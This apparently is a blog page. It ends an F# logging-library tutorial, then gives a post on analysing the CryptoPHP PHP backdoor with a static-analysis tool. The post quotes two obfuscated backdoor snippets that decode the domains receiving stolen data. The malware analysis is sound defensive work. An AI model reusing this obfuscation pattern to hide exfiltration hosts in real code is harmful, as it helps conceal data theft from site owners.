        | _ -> failwith "getLevelStr"
    
    member this.FormatMessage(logEvent: LogEvent) =
        String.Format("[{0}] {1}", getLevelStr(logEvent.Level), logEvent.Message)            

    interface ITextFormatter with
        member this.FormatMessage(logEvent: LogEvent) =
            this.FormatMessage(logEvent)

let customConsoleLogger = new ConsoleLogger(logLevel, new ConsoleLogFormatter())
You can now implement the different log sources where necessary, this is a very easy task thanks to the new fluent interface:
open System
open ES.Fslog

// create the log source
let logSource = 
    log "EntityRepository"
    |> verbose "NoPrint" "I will not be printed due to the current LogLevel value :("
    |> info "Start" "Process started!"
    |> warning "FileNotFound" "Unable to open the file {0}, create it"
    |> warning "DirectoryNotFound" "Unable to list file in directory: {0}. Create it."
    |> error "UnableToCreateFile" "Unable to create the file: {0} in directory: {1}"
    |> critical "DatabaseDown" "Database is not reachable, this is not good!"
    |> build

// add the log source to the log provider
logProvider.AddLogSourceToLoggers(logSource)

// start to log
logSource?NoPrint()
logSource?Start()
logSource?FileNotFound("log.txt")
logSource?DirectoryNotFound("logDirectory/")
logSource?UnableToCreateFile("log.txt", "logDirectory/")
logSource?DatabaseDown()
And that's all, you can find more examples in the FluentTests class.

mercoledì 16 settembre 2015

CryptoPHP Vs Tempesta

I have recently published a new static analysis tool (Tempesta), useful to analyze PHP source code in order to identify a possible malicious behavior. The project is still in its early stage so I carefully monitor the files that are submitted and what could be the cause of possible issues. One of these files is the infamous CryptoPHP backdoor (Fox-IT report).

The submitted sample initially hasn't produced any results, mainly due to the fact that the sample is not a valid PHP code (ok, ok, there was also a bug in Tempesta that prevented the analysis :P).

The sample is composed of only three classes definitions without any objects instantiation code. I decided to take a closer look at this file in order to see if Tempesta was able to analyze it.

The first step was to fix the syntax by closing all the unbalanced parenthesis. Then, I have added three lines of code that just instantiate each class in a correct way.

The first submission didn't returne any meaningful result. By inspecting the code more carefully it was easy to find a call to the function curl_setopt, with high chance this means that inside the file there should also be a list of contacted domains. This was confirmed by the following piece of code that builds the array of the domains to contact:

foreach ($this->uQfIZmMpqyjCaRQMgMoc as $ZRhtpGOgTZTZRdeSYVBw) { $ANVoslonRNQSwwQloQTx[] = base64_decode(str_rot13(strrev($ZRhtpGOgTZTZRdeSYVBw))); }
However, by continuing to inspect the code, the following snipped is executed:

foreach ($eaRKAIVvmthhlFyDIslv as $emDnXOMHIUCHXVocAIgZ) { $ANVoslonRNQSwwQloQTx[] = $JKBGKZwspUYvdkeoetY[$emDnXOMHIUCHXVocAIgZ]; } return $ANVoslonRNQSwwQloQTx;


where $JKBGKZwspUYvdkeoetY is the array populated in the previous snipped and containing the decoded domains, $eaRKAIVvmthhlFyDIslv is an opaque value and $ANVoslonRNQSwwQloQTx is the final array containing the domains that will receive the stolen data. In this specific case, without knowing exactly the value of the $eaRKAIVvmthhlFyDIslv variable, we are not able to populate correctly the array variable $ANVoslonRNQSwwQloQTx, with the result that we can't identify the list of contacted domains. This is a tipical case of the limitation of the static analysis tools (or at least of the current used static analysis approach).

However, not everything is lost. By inserting some more fine grained code inspection during the simulation we were able to identify the list of domains.

You can find the analysis of the sample at: http://enkomio.com/tempesta/#/scan/bbe1de38-a798-4f0a-99c3-1e0f1dee07b3


Update Here is another analysis of a CryptoPHP backdoor: http://enkomio.com/tempesta/#/scan/18a7b126-31a8-4048-b032-80fe50b0ae72